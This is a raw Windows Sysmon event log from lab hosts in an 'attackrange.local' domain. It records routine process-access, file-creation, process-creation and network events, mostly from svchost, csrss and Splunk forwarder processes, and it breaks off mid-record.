14:51:32.348{625C326B-67ED-613B-0C00-00000000F101}732764C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+d3ae|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000015107Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:51:32.348{625C326B-67ED-613B-0C00-00000000F101}732764C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000015106Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:51:32.348{625C326B-67ED-613B-0C00-00000000F101}732764C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000015105Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:51:32.348{625C326B-67ED-613B-0C00-00000000F101}732764C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000015104Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:51:32.348{625C326B-67ED-613B-0C00-00000000F101}732764C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8fc1|c:\windows\system32\lsm.dll+8eb0|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000015103Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:51:32.348{625C326B-67ED-613B-0C00-00000000F101}732764C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8e6f|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000015102Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:51:32.348{625C326B-67ED-613B-0C00-00000000F101}732764C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000015101Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:51:32.348{625C326B-67ED-613B-0C00-00000000F101}732764C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000015100Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:51:32.348{625C326B-67ED-613B-0C00-00000000F101}732764C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000015099Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:51:32.348{625C326B-67EC-613B-0500-00000000F101}412528C:\Windows\system32\csrss.exe{625C326B-70F4-613B-C604-00000000F101}2396C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000015098Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:51:32.348{625C326B-6879-613B-A400-00000000F101}20043924C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe{625C326B-70F4-613B-C604-00000000F101}2396C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+ce6a3b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+17cade|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+18641d|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+17ef16|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c992c4|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+18689b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+189d3c|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c95f5f|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c99fad|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+184c5b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c7dd7e|C:\Windows\System32\ucrtbase.dll+1fb80|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 154100x800000000000000015097Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:51:32.349{625C326B-70F4-613B-C604-00000000F101}2396C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe8.0.2Active Directory monitorsplunk ApplicationSplunk Inc.splunk-admon.exe"C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe"C:\Windows\system32\NT AUTHORITY\SYSTEM{625C326B-67ED-613B-E703-000000000000}0x3e70SystemMD5=947139F3BB2AB70CAF692A60C7A3A735,SHA256=940554A0170A70F634689CC84B00C51AC0BCF773C9639E1305E3672441FC85C8,IMPHASH=357CEC18833E7FF2ABFB722902B13165{625C326B-6879-613B-A400-00000000F101}2004C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe"C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe" service 354300x800000000000000015096Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:51:30.545{625C326B-6882-613B-D200-00000000F101}3164C:\Program Files\SplunkUniversalForwarder\etc\apps\Splunk_TA_stream\windows_x86_64\bin\streamfwd.exeNT AUTHORITY\SYSTEMtcptruefalse10.0.1.15win-host-166.attackrange.local50204-false10.0.1.12ip-10-0-1-12.eu-central-1.compute.internal8000- 23542300x800000000000000047524Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:51:32.005{7BD73061-65B2-613B-1100-00000000F001}432NT AUTHORITY\LOCAL SERVICEC:\Windows\System32\svchost.exeC:\Windows\ServiceProfiles\LocalService\AppData\Local\lastalive0.datMD5=8900FD755FE1B21A72C9831C1BD86C6E,SHA256=2A33EC4EE23111AF2B1052A1ED14B6717FA0C856634691173D6B5191307EB508,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000047526Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:51:33.724{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=CD427E5B837A9EAD298DDA515FD4FAF7,SHA256=4C05B26BFB69AEC121AAB33AE0BB93ED8D0062FB1B4FCAAF194107663E6E240D,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000015127Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:51:33.911{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\SecurityMD5=07D3D4154C1EC9CB67BA66D6421C8AE9,SHA256=C6B6B2F3E15AD87523F9F9CAAB1B6B8F0C8EB967B74D54EF0FEB9F483DA5AA32,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000015126Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:51:33.067{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=4F09D1C2FC348A14DE83A3CCB308F444,SHA256=526F5E5CF705297A4F6A6D13A0E4347D8C5148A23BE973DB90FD750903EFE91D,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000047527Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:51:34.740{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=2F7524B127CDBF0F3C1C6E956ADABCDE,SHA256=F77BA04E8C9E9673E4FAED3E641376B41BFE05F4573B15563E0874F8C7E60316,IMPHASH=00000000000000000000000000000000falsetrue 10341000x800000000000000015142Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:51:34.333{625C326B-70F6-613B-C804-00000000F101}38762584C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe{625C326B-6879-613B-A400-00000000F101}2004C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe0x101400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe+55e675|C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe+55e1a6|C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe+6b453|C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe+8e8530|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000015141Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:51:34.130{625C326B-687A-613B-A800-00000000F101}32681184C:\Windows\system32\conhost.exe{625C326B-70F6-613B-C804-00000000F101}3876C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\SYSTEM32\ConhostV2.dll+5ca7|C:\Windows\SYSTEM32\ConhostV2.dll+774b|C:\Windows\SYSTEM32\ConhostV2.dll+a8ef|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000015140Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:51:34.130{625C326B-67ED-613B-0C00-00000000F101}732764C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+d3ae|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000015139Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:51:34.130{625C326B-67ED-613B-0C00-00000000F101}732764C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000015138Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:51:34.130{625C326B-67ED-613B-0C00-00000000F101}732764C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000015137Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:51:34.130{625C326B-67ED-613B-0C00-00000000F101}732764C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000015136Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:51:34.130{625C326B-67ED-613B-0C00-00000000F101}732764C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8fc1|c:\windows\system32\lsm.dll+8eb0|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000015135Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:51:34.130{625C326B-67ED-613B-0C00-00000000F101}732764C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8e6f|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000015134Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:51:34.130{625C326B-67ED-613B-0C00-00000000F101}732764C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000015133Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:51:34.130{625C326B-67ED-613B-0C00-00000000F101}732764C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000015132Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:51:34.130{625C326B-67ED-613B-0C00-00000000F101}732764C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000015131Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:51:34.130{625C326B-67EC-613B-0500-00000000F101}4122740C:\Windows\system32\csrss.exe{625C326B-70F6-613B-C804-00000000F101}3876C:\Program 